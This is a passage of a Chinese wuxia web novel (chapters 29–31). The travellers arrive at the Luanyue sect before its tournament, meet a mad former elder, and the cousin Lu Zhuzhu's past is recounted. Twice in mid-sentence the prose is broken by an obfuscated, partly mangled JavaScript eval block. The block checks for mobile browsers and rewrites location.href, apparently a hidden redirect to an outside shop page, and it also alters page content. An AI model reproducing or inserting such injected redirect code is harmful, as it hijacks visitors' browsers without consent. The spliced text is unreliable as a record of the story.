王四挺起胸脯,“是啊,峦岳派的张长老周少爷知道吧,年年都有人赶着趟儿想被他收为弟子呢,要是没收成,还有其他长老,只要得了青眼,在峦岳派其他峰留着也是好去处。” 周向晚好奇道,“哦?这峦岳派竟有这么大的魄力?” 王四嘿嘿一笑,“主要是断水剑法嘛,张长老的大名在城外城内传的风风火火,这些人还不是觉得什么厉害就学什么。要我说,那是他们进不了陆家才只能去峦岳派。” 周向晚配合着哈哈笑道,“我替陆家接下你这句夸了,不过断水剑法我也听过的,听说遇强则强,是套能以下克上的剑法。” 王四不屑道,“我王四行走江湖也有几十年了,要我看,这武功路数的高低哪有这么简单就能评出来,还不是风吹的大,那张长老是真高手不假,他的弟子可不一定。” 周向晚道,“如此说来,张长老这几年出师的弟子并不多?” 王四挠挠头,“我这一路见的拜师人多,真正的弟子倒不多,听人说,张长老一共收了三个弟子,不过他门下弟子游历时一向不声张名号,所以也不知道具体是什么样了。” …… 周向晚跟王四有一搭没一搭地聊着。 唐雪拉着赵刀刀坐下。 豆大的雨点飘过来,恰好落在赵刀刀的睫毛上。 她眨了眨眼,雨水从睫毛滚到脸上,她抬手擦去。 唐雪此刻静坐下来细看恩人,突然发现,恩人的眼睛好像,红红的? 赵刀刀用指尖磕着刀柄,问,“你还记得吗?” 唐雪还在装作不刻意地观察,不想让恩人发现,让恩人感到不舒服,“什么?” 赵刀刀道,“我们在唐家堡的时候,见过断水剑法的传人。” 唐雪一愣,“啊……”赵刀刀这么一提醒她也想起来了,她有些犹豫道,“恩人还记着呢。” 赵刀刀笑得很玩味,像是在琢磨着坏事,“嗯。” 见唐雪欲言又止的模样,赵刀刀收敛笑意,道,“放心,我不惹事。” 唐雪幽幽瞟了她一眼,“我不是这个意思啦。” 赵刀刀道,“那是什么?” 唐雪吞吞吐吐道,“其实……恩人要是过意不去,遇着了,想给他点教训也没什么的。” 她对那晚的事也有些过意不去。 “哦?” 唐雪道,“就是别在人前,我们找个暗处将他教训一顿就好了。” 赵刀刀沉思片刻,笑道,“好,听你的。” 唐雪呆住,她怎么忽然觉得,她好像说错了什么? 然而话已出口,她只能祈祷他们遇不到那个倒霉蛋了。 雨还很大,劈里啪啦地打在地上,树叶上,亭子里除了他们四人,其他两个人交流的声音被雨声遮盖。 以赵刀刀的耳力,极力去听才能听到只言片语。 所以那边也听不到他们这头的声音。 29. 山门 话音被雨声遮掩,交谈间的神采飞扬却能轻易捕捉。 赵刀刀朝另一边看了一眼,又转过头继续同唐雪说话。 峦岳派近来风头正盛,亭子里一开始就在的两人却不是过来拜师的。 他们的激动源于另一桩大事。 这桩大事就是开在峦岳派的门派大比。 二人已有师门,是从鑫山派而来。 鑫山派只是个名不见经传的小门派,别说赵刀刀,就是问起对佩城熟门熟路的王四,他也准没听过这个名字。 门派虽小,鑫山派的掌门却与峦岳派中一位长老渊源颇深,这才能从大小门派趋之若鹜的大比中给自己的弟子求得一席之位。 二人此次正是得了吩咐,带着请帖,要去峦岳派瞧一瞧这次的门派大比。 如果说唐家的擂台是进入武洲的门槛,那峦岳派的大比就是分辨一流高手的门槛。 现在江湖上流传着的故事,能有一半与峦岳派搭上关系,峦岳派的门派大比居功至伟。 这盛大的比试起初五年一开,因着关注一再上升,转为四年,到现在已经稳定在三年一开,今年是第十三届。 张秋水张长老年轻时也曾在比试中大出风头,他登擂两次,断水剑法就在这两次间从无人在意的普通功法上升为世人追捧的绝世剑招,声名鹊起。 头阵打得漂亮,如今峦岳派的核心弟子都免不了要在比试上赢上几回,才算是服众。 对峦岳派弟子来说这场大比也意义非凡——除了其他门派的人,他们也可能在大比中与同门师兄弟打个照面,比不过外人还有说头,可要是内门弟子打不过外门,丢脸面事小,甚至有可能被逐出门派,沦为天下笑柄。 峦岳派一向奖罚分明,通融求情也不顶事。 是以离大比开始的时间越近,峰内越是灯火通明,弟子们日夜苦练,就是拼死也不能丢了这一口气。 雨还在下。 王四也说到了这万众瞩目的大比。 “听说三十多年前,峦岳派还出过一位很厉害的女弟子,她在比试上大出风头,就连张秋水都被她压下一头。” 周向晚好奇道,“我怎么没听过这件事?” “我也是跑镖途中听人说起,当年忙着跑镖,我还没亲眼见过这比试到底是什么样哩!”王四回忆着道,“我听同行的人说他那会儿正好在场,他说那女子身法飘逸,剑法变化多端,年纪轻轻,实在是天赋了得。” 他不确定道,“不过我只听他一人说起过这事,他说的煞有其事,说什么张秋水张长老当时都不能与她匹敌,厉害得很。” 唐雪在一旁听着也来了兴趣,“这女子现在在哪?” 王四摇摇头,“这就是不对的地方了,因为除了从那人口中听到,我还从没在别处听说过峦岳派有个这么厉害的女弟子。” 唐雪追问,“你那个朋友有提过她在哪么?” “谁知道他说的是不是真的,”王四叹了口气,“他说那女子只出现过一次,许是一直在峦岳派某座山头清修,按他说的,这么厉害的人物大约生来就在白玉山上学剑才能藏得住,但这么厉害,怎么会谁也没见过她呢?” 周向晚问,“你那位朋友如今在何处?” “他不在了。” 气氛一滞。 赵刀刀一直旁听,这会儿也讶然地看过去。 周向晚认真道,“节哀。” “唉,没事,都过去好久了。”王四擦了擦汗,“就是可惜了,他这牛才跟我吹完没多久,下一趟镖的路上就出事了。” 三十年间,峦岳派有过无数传闻,这女弟子只是其中知道的人最少,传播最窄的一个,哪怕同行人说的再真,最后也只是经不起追究的谣传。 “反正我是没听过什么峦岳派女弟子的消息,就是一直想不明白为什么他要编个这样的故事来骗我。” 王四惋惜着,神情有些落寞。 雨声渐渐小了。 夏天的暴雨来得急,去得也快。 笼罩白玉山的浓厚云雾淡了一些,半遮半掩间,白玉山如仙境飘渺出尘。 雨彻底停了,乌云散去,金色的霞光穿透云层,不一会儿就露出明亮的天空来。 有些压抑的心情也随之开阔明朗起来。 四人整好货物,继续赶路。 亭子里那两个人和他们是一道,就在前面走着。 两队人在在雨停后曾短暂地视线相接,因着目的都是一处,相互寒暄了几句。 除此之外没有更多交流了。 这两人走得不急不慢,悠闲极了,难怪雨还没下他们就早早等在亭中。 他们自然也很向往接下来的盛事,但没有其他门派弟子对峦岳派大比的那种狂热之情,兴奋劲儿在雨中抒发大片,或许是聊累了也笑累了,现在他们没了在路上那种想要四处打探消息的急切,只是像寻常人一样带着一点恰到好处的好奇。 反正他们过来也不是为了赢到最后,只想做个看客,总会清醒些。 也可能这两位弟子实在太年轻。 年轻到未经世事。 他们还未见过那种派头,台上刀光剑影,台下心潮澎湃。 唯有亲身参与才能感受到那种蓬勃的生机。 亲眼去见证那些惊才绝艳的天才少年,经验老道的江湖豪杰,看不起眼之人技惊四座,看刀光剑影割开空气,那一刻,会让人无比清晰地感受到自己正在江湖之中。 所谓江湖,正是在它平静的外表下,诡谲的风云中,被这些人谱写历史。 只用一眼,只要他们真正见到峦岳派大比,就能立刻体会到那种意气,那生机会叫人即使身在台下也热血沸腾,跃跃欲试。 他们此刻还没有见到,所以才如此冷静。 不过赵刀刀他们更冷静。 两队人错开了路,王四带着他们走到一条鲜有人知的小路上。 这条路是近道,稍微陡一点,知道的人不多,就是在峦岳派,也只有在白玉山待了十几年的人才知道。 四人想赶天黑前到达,这点陡也受的住。 王四赶着车,比出发那会儿更从容。 这条路对别人来说可能陡峭难行,但他已习惯,到这里之后他就算闭着眼也不会认错方向。 王四走在自己最熟悉的路上,随口问道,“陆……周少爷这次到峦岳派也有参加比试的打算吗?” 周向晚牵着缰绳跟在他身后,“怎么讲?” 王四道,“我知道的,峦岳派年年都会给陆家送请帖嘛,可惜陆家事务繁忙,不是每回都有人去,这次刚好赶上,那些人都是周少爷同辈人,不是有句话叫不打不相识么,周少爷上去交个朋友也不错。” 峦岳派一帖难求,这确实是不可多得的机会。 周向晚答应了,但没说得很绝对,“有机会我会去试试。” 这对别人来说确实是很难得的好时机,可惜他并不好以武会友。 王四颇为赞许地继续赶车。 这些人里,他总跟周向晚说话,一是因为周向晚是陆家人,二是因为另外两人都是姑娘。 那两个姑娘这会儿正隔着一段距离跟在后头。 王四提议道,“周少爷,我看你那两位朋友看着也都是练家子,听说那台上也有两人三人的配合比试,你们三人要是有兴趣,也可以一起试试。” 他押镖半辈子,曾经也说过几门亲,可惜总是奔波,前头说好,等人回来这亲事就砸的差不多了。 他自知理亏,人家也不能一直守着几年见不着一回的人吧,这一单就单到现在。 人大了,就染上喜欢对小辈说教的习惯,好容易和年轻人说上几句话,免不了一半都是建议。 周向晚笑着应下。 赵刀刀和唐雪坠在最后。 马蹄在路上答答地踏着。 赵刀刀见唐雪身子向后斜着,神情散漫,整个人了无生趣的样子,笑了下,问,“累了?” 唐雪摸了摸头,道,“有些不习惯。” 她呼出一口气,说,“我还是头一回登这么高的山呢,周向晚居然没吹牛,水城那些山跟现在这个一比就是几个土坡。” 现在才攀到半山腰,坐在马上,明明没怎么耗费体力,她竟有了几分眩晕之感。 赵刀刀看她脸色不好,微微皱眉,道,“一起下来走走?” 骑马骑了很久,到底不如脚踩在实地上让人感觉踏实。 毕竟路陡,马背更陡。 唐雪想了想,点点头。 两人翻身下马,牵着马爬山。 唐雪感觉自己那股想吐的感觉好像是减轻了些,脚踩在地上,世界终于不转了。 路渐渐变窄,变得陡峭。 她们一边是山体,一边是深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063194|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见底的悬崖,先前满目可见的绿色植被已经成了裸露的山石。 赵刀刀心想,不知道这条路有没有摔过人,要在这样险峻的高山上开山立派,还真不是一般门派可以做到的。 她走在唐雪旁边,天已经快暗了。 唐雪已经走得满头冷汗,她实在不喜欢这种地方。 赵刀刀轻声安慰道,“应该快到了。” 唐雪听着恩人又缓又稳的声音,忍住难受,低着头慢慢地走。 走到眼前阵阵发黑,视线终于开阔起来,路也变得平坦。 前面不远处是白玉石砌成的台阶,向上几百阶之上,就是峦岳派的山门。 远处高大的殿宇隐约可见。 仿佛穿过狭长小道走到了传说中的仙境,灯火点亮了这里,高大的石门威严耸立,石柱雕刻的花纹仿佛浑然天成,被火光映的辉煌无比,旁边还分别设了小门。 最顶上的字远看也清晰无比,是雕刻出来的笔力虬劲的“峦岳派”三个大字,题字的巨石和山门浑然一体,折射着白玉一般的细腻柔光,像是天地造化,生出这么一个巍峨的的山门。 只有细到不仔细看根本看不出的细纹记录着匠人的痕迹。 这里空旷而干净。 山门高大,人太渺小,走在台阶上不免生出庄严不可亵渎的敬畏来。 赵刀刀握紧了自己的刀,黑刀轻轻颤了颤,缠在手腕上的青蛇也随着走动微微盘动。 唐雪的脸色有些苍白。 赵刀刀有些担忧地看过去,她强笑着摇头说自己没事,赵刀刀便沉默着走在她身边。 周向晚虽然到了地方,心里却还有些不想进去的抵触,他轻轻呼出一口气。 三人停下,王四上前。 他熟门熟路,跟门口的人做了说明,守门的弟子立刻找人过来带他们进去。 一车的剑被带去了别处。 没多久,过来了个满脸红光的中年人,手抚着胡须,一双眼睛飞快地扫过众人。 他的目光没有停留很久,不至让人生出不快。 最后他的视线停在王四身上,一挥袖,说,“诸位请跟我来。” 他身后还跟着两个弟子,将几人的马接过手,牵着走了。 王四道,“这是老齐,齐淡,他在峦岳派几十年了,周少爷你们要是有什么想问的可以直接问他。” 三人对视一眼,周向晚点点头。 老齐看上去并不老,不过峦岳派弟子本就不少,山上每年还要来很多人,人多名字也多,这样的称呼比名字更好记,久而久之,别人都这么叫他。 齐淡在前面引路,笑道,“陆家的客人一向都是我接待的,各位别客气,要是想找人或者有其他事只管跟我说,跟王四一样喊我老齐就行。” 王四与齐淡喝过几次酒,知道这人看着大大咧咧,实则心细如毛,不然峦岳派也不会将待客的活儿交到他手上。 别看齐淡这样穿着不显,在这门派里,外门弟子见了他也是要行礼的。 王四打听道,“现在来了多少人了?” 齐淡豪爽笑道,“问早啦!这会离大比还有五日,你还不知道?有些人就是喜欢最后一天来。” 王四笑道,“那你可有的忙了。” 齐淡捻着胡子,“忙也不在这会儿,你这会可算没赶在最后一天才到。” 他压低声音靠近王四,“怎么,等会去喝酒?今天下了一场雨,夜里温度正好,我这酒可是早早就备上了。” 王四拍手称赞,“等的就是你这句话!我可是发现了,峦岳派的酒啊,就是比我家的好喝。” 齐淡拍拍他的肩,“有什么羡慕的?你这货送的好,不但有钱赚,还能有酒喝,每次来我都羡慕你啊。我都想着要不跟你一起下山算了!” 王四嗤笑一声,“嘴上说的好听,要是我跟你换你愿意下山?你在山上这日子过的还不舒服?” 齐淡眯着眼笑笑,没承认也没否认,转而道,“老兄弟,你后头这几位,可是来头不小啊?” “那是,你得把人安排好咯。” “不知那位背着黑刀的少侠……” “诶,你别打听,我也不知道呢,总之是陆家的贵客。” “哈哈,罢,不问你了,贵客啊,派里近来贵客也不少——” “不过这三位贵客,不用你说,我早就安排好了。” 30. 疯子 齐淡将他们带到地方,王四和他们不在一处。 住处没有什么特别,因着他们可能要去擂台瞧瞧,齐淡安排的地方离场地不远,在峦岳派中心附近。 一路走来,人没有很多,周围许多院子空着,但五天之内这些地方就会住满客人。 安顿好,王四与他们别过,跟着齐淡走了。 赵刀刀与周向晚都注意到这一路上唐雪的脸色不好,嘴唇苍白,精神萎靡,人病恹恹的,齐淡离开前帮他们叫了医生和白粥,大夫过来把了脉,没什么大碍,只是叮嘱唐雪早些歇息。 赵刀刀坐在床边,看唐雪慢慢喝完一碗粥。 她的脸色被热粥的气息氤氲得红润了一些,又随着时间苍白下去。 赵刀刀将碗端走。 “头疼吗?”她走过来问唐雪。 唐雪摇摇头,“就是有点晕。”她强颜欢笑,“恩人不用留了,我想睡一会儿。” 赵刀刀帮她盖好薄被,“没事,你好好休息。” 她放下床帘,走到桌边坐下。 赵刀刀在屋中待了会儿,等唐雪的眼皮支撑不住地慢慢闭上,呼吸变得平缓均匀,才拿着东西出了门。 唐雪睡梦间隐约听到了关门声,轻缓的,嘎吱一声。 她脑袋昏昏沉沉,随着声音消失,彻底深睡过去。 周向晚等在门外,等赵刀刀将碗勺归还,走到她身侧。 他们打算出去走走。 周向晚是第一次来这里。 虽然峦岳派就离佩城不远,陆家也有弟子在峦岳派,但周向晚此前从不关注这些,也没有想要过来一看的念想。 有些地方离得太近,想象中觉得能随时过来,反而叫人不想特地过来。 周向晚对佩城周围的地方都没什么执念,很长一段时间里,他甚至有些排斥这些门派,怕自己来了这种地方就跟其他弟子一样走不了了。 不过后来他发现自己完全是多想了。 他对剑术实在没什么天赋。 要送也不会送他的,砸招牌。 夜风徐徐。 老齐已经将周围可以去的地方都与他们介绍了一遍,知道周向晚还有位表妹在这里之后,让他们先不急着找人,说自己会帮忙打听打听的。 弟子们白天都在练功,他们到这也赶了一天路,夜里还是休息最重要。有什么要紧事,也不急在这一会儿。 周向晚应了。 他本来也不急,最急的人一来就病倒了,他现在的感觉很复杂,不知自己是该庆幸还是该担忧。 赵刀刀和周向晚缓步走着。 他们一路上遇到了几位峦岳派的弟子,或是说说笑笑地结伴而行,或是独自匆匆赶路,弟子们见到陌生人会多瞧一眼,但也没问什么,很快移开视线,擦身而过。 想来已经很习惯这时候有很多外来人。 弟子们身上的服饰都很相像,白衣窄袖,玉扣腰带,衣摆和领边绣着花纹,看多了很容易辨认,这应该就是代表着峦岳派的衣服了。 赵刀刀和周向晚边逛边走,不知道什么时候走到一片树林。 这里人不少,周围还有其他弟子交谈的声音随风传来。 他们也寻了个清净地坐下来。 “难得见你不带刀。” 周向晚道。 赵刀刀出来的时候没有带刀,黑刀放在房中。 可是没有刀,她好像也能听到刀子精的轻笑,跟着不自觉笑了下,“嗯。” 刀在房中,赵刀刀知道,但她却没有发现,蛇也在房中。 手上的青蛇总是睡觉,以至于变得这样没有存在感,连赵刀刀也没有察觉它的去留。 空荡的房间里,刀子精看着扭动的青蛇,懒洋洋的声音响起,“你想做什么?” 青蛇吐着信子,它的精神这会儿很活跃,和犯困的刀子精完全不同,可他的身子却比一开始更虚无,隐约透着身后的桌子纹路。 它问,“你记得这里吗?” 刀子精懒得搭理它,“我该记得吗?” 青蛇的语气有些恶劣,“不该吗?” 刀子精冷哼一声,故弄玄虚。 青蛇灵活地爬到了黑刀旁边,“她不该把你放在这里。” 它的声音里带了笑意,让人觉得不舒服的笑意。 “不过这样也很好。” 青蛇的尾尖碰到黑刀,刀在刀架上,这回不会倒在地上。 “你——” 细细密密如同针扎一般的疼痛又一次袭来,没说完的话被疼痛吞没在嘴边。 刀子精再一次疼得失去意识。 青蛇的身躯更透明了一些。 这时候它又不笑了,它的眼神竟然带着一丝怜悯,就这样看着失去意识的黑刀。 “你什么都想不起来,你不该陪她走到这里。” 可赵小刀又怎么能不陪着赵刀刀走到这里?他只是一把黑刀而已。 青蛇似乎也意识到了自己话中的不妥。 吐着信子道,“哎呀,忘了,你又选不了。” 它慢慢盘成一圈。 林中。 离开陆家,赵刀刀终于能将心中的疑惑一吐为快,好奇道,“你以前……和你小叔关系很好吗?” 周向晚一愣,缓缓道,“以前还算不错。我爹总在外面一年见不了几次,是他经常过来陪着母亲,也陪我玩。” 他自嘲道,“不过现在你也看到了,我出去这一趟惹他生气了,我们一见面就吵。” 赵刀刀想说不是,话到嘴边又咽下去,婉转道,“不想说话的话,你可以试着写信给他?” 周向晚摆摆手,不在意道,“他不会想看的,再说他一天忙到睡觉的功夫都没有,我还是别打扰他了。” 他还惦记着自己吃到的闭门羹,没心思自讨不快。 赵刀刀张了张嘴,她不擅长劝人,怕自己一不小心暴露太多,不再多言。 转而道,“王四说,从另一边下山,很快就能到柳城了。” 周向晚不明所以,“是啊。” 赵刀刀的手撑在膝上,头搭在手上,她歪头问,“你会怕吗,如果那把剑没有你想象中那么厉害?” 周向晚摇摇头,“不怕。”谈到这个,他脸上又恢复了神采,一挥手甩开扇子,“你不知道想找这把剑的人有多少,很多人想找都没有门路呢。我找了很久才刚好碰上你,好歹有机会见一见,我怎么都得见一见。” 他自夸道:“我运气不错吧。” 赵刀刀点点头,若有所思。 这么算,她的运气也不错? 赵刀刀的视线落在周向晚的侧脸,他的目光那样坚定,仿佛可以坦然地接受关于那把剑的一切答案。 是不是能够找到答案就是一件幸事? 顺着往下,她看向周向晚手里的扇子,忽然想起陆怀瑾曾经问起过这把扇子。 她先前就觉得有哪里不对,现在出了陆家,山上这股子风吹得人脑袋渐渐凉下来,清醒了,她突然有了一个猜测。 赵刀刀问:“你的扇子——是你小叔……?” 周向晚顺着她的话看向手里的扇子,将扇子合上又展开。 “你发现了。” “唔……你之前说过,你父亲认为剑要厚重坚硬,但是这扇子很轻。”赵刀刀不敢说她是听了陆怀瑾的话才这么怀疑的。 “嗯,我爹喜欢重剑。”周向晚点点头,感慨道,“或许我小叔也算是另类吧,他铸的剑很轻很薄,在他之前,我家人其实没怎么造过这种剑。” 周向晚抚摸着扇骨,回忆起这把扇子诞生的点滴,“这把扇子……是他教我做的。” 他腼腆地笑了下,“其实我的铸剑术只从我爹那儿学了一半,等我小叔出师我就跑去找他教我了。” 他煞有其事地点评道,“那也是一段不错的日子,那时候我和他也不是一见面就吵的。” 他说,“我很喜欢这把扇子。” 赵刀刀不解地看着他。轻声问,“那为什么……” 周向晚无所谓地笑笑,“他变了,我觉得他和我小时候认识的他不一样了。” 话到这里,周向晚叹了口气。 他也反思过是不是自己太过任性了,但是记忆中的争吵和不欢而散又提醒着他,他没有做错。 他们都没有错。 沙沙。 突然,悉悉索索的声音从旁边的树丛传出。 周向晚和赵刀刀迅速站起,警惕地看着那些绿叶。 周向晚紧张道,“谁?!” 大晚上的,在这个陌生的地方,谁会特地撞到他们附近? 赵刀刀下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063195|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握刀的手握了个空,心里咯噔一下。 黑刀不在这里。 她的动作一滞,想起出来前刀好好地放在屋里,这才舒展眉头,手指渐渐攥成拳,浑身肌肉绷紧,朝出声的方向看去。 树丛耸动,叶子簌簌掉落,树枝被折断几根。 一个黑影慢慢爬出来。 周向晚和赵刀刀对视一眼,从对方的眼中看到了不解。 从里面爬出来的竟是个邋遢的老人。 他的头发已白了大半,乱糟糟地糊在头上,眉毛遮住眼睛,胡子遮住嘴巴,像是几年没有打理过。 身上的外衣已经被划成破烂,松垮的挂着,手臂上还带着树枝刮出的破口。 他跑出来,大笑几声,“哈哈,好玩,好玩,你们找到我了!我被发现了!” 在夜色中,他的声音尖锐又兴奋,神情天真好似顽童。 他大叫着手舞足蹈,“找到了,找到了!啊!被找到了!” 赵刀刀和周向晚默默退后一步,神色不明地看着这场闹剧。 白发老头开心了没多久,又神情一变,露出恐惧的神色,手朝四周胡乱地拍打挥舞,挡着头,躲避一样道,“不要抓我,不要抓我!” 周向晚皱眉问道,“你是谁?” 他本没抱多少希望,可那人似乎还能听懂人话,竟真的开始思索起来,“我是——我是——啊——我是谁?” 老人抱着头蹲下,这样的思考似乎令他头痛欲裂,他疼到抱着头蜷缩在地上。“啊——我是谁?” 周向晚抿紧嘴唇,道,“看衣服是峦岳派的,我去找人?” 赵刀刀点点头,耳边一动,又拉住他,“不用了,有人来了。” 周向晚看了她一眼。 那疯子的抽搐渐渐停下,他像是完全忘记了先前的痛苦,抬头道,“哼,你们又是——” 月光洒下,他借着月光看清了赵刀刀和周向晚的脸,突然尖叫起来。 他指着两人,尖叫着大喊向后爬去,惊恐道,“是你!是你!鬼!鬼啊!” 他神志不清地重复着,“你怎么回来了!你不该回来的!你不该回来!不对!不对!你们都死了!都死了!” 一边说,一边又疯癫地大笑起来,笑出了涕泪,那张脸被糊的脏兮兮。 或许是他的声音实在太大,周围有弟子被他吸引过来,手里举着火把,见到是这个疯子,松了口气,有些见怪不怪的样子。 两个弟子牵制住疯子带到别处,一个弟子留下来,见赵刀刀和周向晚的衣服不是派内样式,叹了口气,走过来抬手行礼。 赵刀刀和周向晚对视一眼,看着他,等待一个解释。 这弟子抱歉道,“打扰二位客人了,那个疯子不知道什么时候跑出来的,白天师兄们就在找他,一直没找到,没想到人藏在这里了。让二位受惊了,在下替峦岳派给两位赔个不是。” 他微微弯腰,拱手。 赵刀刀道,“他是什么人?” 那弟子似乎也羞于提起这事,又叹气道,“唉,他……他原是派中的长老,就是练功走火入魔,现在已经神志不清了。” 无奈道,“也不知道他什么时候跑到这里了,他本来一直在后山的,看管他的弟子第一时间报了消息,可惜找了两天还没找到。多亏二位侠士在这里碰上,没让他跑了闹出太大动静。” 他又道歉说,“实在给两位添麻烦了。” 赵刀刀和周向晚摇摇头,“没事。” 那弟子又问,“天色已晚,二位住在何处,我送二位回去?” 周向晚道,“事情解决了就好,我们认得路,不用送了。” 林子不比住处,周围彻底暗了下来,他们接过找人的弟子好心递来的火把,往来处走去。 赵刀刀想,下次出来还是带上黑刀为妙,可惜刀不像扇子,有些显眼。 她回到房间,一路上总是忍不住去想刚才树林里发生的事,这会儿也是。 赵刀刀摇摇头,这事能跟她有什么关系,自己准是被那疯子影响了。 想了半天也没个头绪,她叹着气重重倒在床上,索性不再想了。 “小刀?” 赵小刀没回应,又睡着了。 赵刀刀有些说不清道不明的烦躁,一个翻身跃起,拿起黑刀,决心练了刀再睡。 31. 珠珠 隔日。 齐淡很快就打听到了周向晚表妹的消息。 赵刀刀他们落脚在白玉山的主峰玉台峰上,那位表妹不在此处,在另一座名叫玉壶峰的山头修炼。 两座峰隔着些距离。 不过赶上门派大比,其他山峰的弟子会提前三天过来准备,想见不难,等待即可。 周向晚这表妹名叫陆珠珠,本是陆家很旁系的一支,并不住在佩城主宅,按理说每逢过节才有机会到佩城主家拜访,但赶上她家所住的庄子要新修,运气好,一家都搬到佩城主宅暂住。 陆珠珠就是在这段时间见到了周向晚。 在搬来之前,陆珠珠没沾到过陆家这个名头的半点好处。 她长相普通,不算难看也算不上好看,平平无奇的脸庞上只有一双眼睛生的很有神,像鹿一样黑白分明,灵动水润。 但眼睛得凑近了瞧才能发现,站在人群中,粗布麻衣一套,她那点儿与别人区别的灵气便看不见了,要仔细分辨半天才能找出她来。 陆珠珠的祖母还有其他孙辈,她只是其中最不起眼的一个。 相貌普通,性格不讨长辈喜欢,总是闷声不响地待在一旁,这些加起来,让老一辈的觉得她小家子气,别别扭扭的,不成气候。 或许是类似的训斥听得多了,看人时陆珠珠总是略低着头,眉头微蹙,抬起眼朝上看,显得有些畏缩又有些倔强,衬得那双眼睛也黯淡了几分。 直到搬进主宅前,她在旁系里都算不上显眼。 陆珠珠不喜欢祖母,也不喜欢住在镇子里。 她家住的镇子里留下的大多是贫苦之人,大家谈的说的就那么些东西,从镇东头说到镇西头,绕不过婚丧嫁娶,绕不过琐事闲话。 在她年纪不大那会儿就有早早来说亲的,好像所有人都觉得这样没有问题,小孩只需要一场婚事就可以瞬间变成大人,离家自立,父母只需要大哭一场,就可以顺当地撒手不管。 可她还没有准备好,她谁也不想嫁。 她好歹也是陆家的人,从小也是饱读诗书,学了些手艺的,就算下嫁,也不能这么不堪啊,那些人陆珠珠一个都看不上。 搬到陆家主宅之后,她才知道自己想过的生活究竟是什么样的。 那是梦一样的日子。 从没被人关照过的小姑娘突然体会到了有哥哥的温暖,她心思敏感,知道周向晚总是嘴上不待见她,用有些凶的语气说话,实际上从没做过什么排斥她的举动。 他不知道,这样的暖意已经足够令她受宠若惊了。 到陆家之后陆珠珠终于有时间去打扮了,可是不说佩城,就是陆家,也不缺好看的孩子,他们不但好看,还聪明又厉害,样样压她一头,她那点可怜的自尊在陆府只能埋在心底。 她知道自己不配,但还是希望能得到真正的尊重。 陆珠珠还记得她第一天到陆府,一个人都不认识,就是周向晚带着她认了路。 他一点也不嫌弃她寒酸的穿着和不入流的珠花,还会为了她让别人道歉。 陆珠珠忍不住想叫他,可张嘴半天只能喊出一个哥字,她的喉咙紧张嘶哑到发痛,始终不敢喊出他的名字,陆珠珠那一刻悲哀地发现,她竟然与她梦想中的地方格格不入。 周向晚不知道发没发现她的窘迫。 他只是停下来,朗声道,“我比你大两岁,你要是想叫哥就叫,不想的话直接叫我陆向晚就行。” 他的声音仿佛带着温度,融化了她心里的寒冰,他说,“你是陆府新来的妹妹,别怕,这里的人都会照顾你的,这是陆家后院,你就住在这里,这里以后也是你的家了。” 或许是吃的住的都有了提高,陆珠珠后来又长开了些,脸圆了,个儿高了,看着不那么阴郁,偶尔抬眼盯着一个人的时候还能瞧出几分倔强的可爱,陆家的人渐渐与她熟悉起来。 可是陆家那么多小子,她还是只情愿天天跟在周向晚身后喊哥哥。 周向晚说了几次不要老是跟着他,陆珠珠就应下,然后第二天继续。 他又不好真的驳了小姑娘的面子,要他和他爹学铸剑都行,但是这事他做不来。只能表现的再强硬些,随她去,但是一句话都不理她了。 现在想想,实在是小地方来的她哪里见过周向晚这样的少年,陆珠珠一时也不免乱花迷眼,生出些本不该有的心思来,得寸进尺了。 只是一腔情谊最后还是付诸东流,她发现周向晚虽然隐约有些好说话,却把那条线守的很死。 她与他之间始终隔着一段距离,不知是真的迟钝还是无言的拒绝。 她不肯歇了心思,周向晚却越来越忙,她看着周向晚天天进出剑炉,忙得脚不沾地,不知道怎么的,有一天忽然就想明白了。 像是醍醐灌顶一般,她也断的果决,不再跟着周向晚。 周向晚没太注意这个,陆府的下人却经常围在一起讨论,说是陆小姐开了窍,知道自己配不上,决定放手了,还有人说,这说不定只是欲擒故纵的手段呢,哪有那么容易就想明白的。 手段不手段也无所谓了,因为没过多久,陆珠珠就去了白玉山,上山学剑去了。 府里跟着她的丫头为她高兴,送行时候哭了很久,又是开心陆姑娘终于想开了,又是担心她是不是怕庄子快修好,等回家之后再也见不到陆少爷才想去白玉山学剑,换个近处留着。 其实那些猜测对也不对。 陆珠珠一开始根本没想过自己会走上铸剑这条路。 她是陆家旁系的,就算从她搬过来那天开始学,也已经晚了很久。她只想继续学学书画,有机会去陆家剑炉瞧瞧,借着陆府找个好人家,相夫教子,后半生也定下来。 但是在她追在周向晚身后的那些日子里,看着周向晚越来越忙,她忽然惊恐地发现,他们越离越远了。 那不是陆府到剑炉的距离,周向晚好像要去到一个很远的地方,那里已不是她所能够到达。 这样的惶恐让她害怕,仿佛一只手紧紧的攥住了她的心脏,她的不安滋生着疯狂,那些日子里,她竟然渐渐生出一种肮脏的邪念——她想要将周向晚拉下来。 陆珠珠几乎要对这样的自己感到绝望。 她把自己关在房子里,思绪纠缠的痛苦折磨的她夜不能寐。 直到有一天,周向晚的小叔叫她过去,问她想不想去峦岳派。 她发愣地看着陆怀瑾,还没反应过来他说了什么。 陆怀瑾重复道,“峦岳派今年收弟子,陆家已经有人要去做内门弟子,不过还有一个空缺,是外门的,去了不一定能留下来,你想去吗?” 她听到自己发抖的声音,“……为什么?” 陆怀瑾道,“我知道,你来陆家比较晚。”他叹气道,“过去的就过去了,日子还长,你要是想学,可以先去峦岳派待几年。” 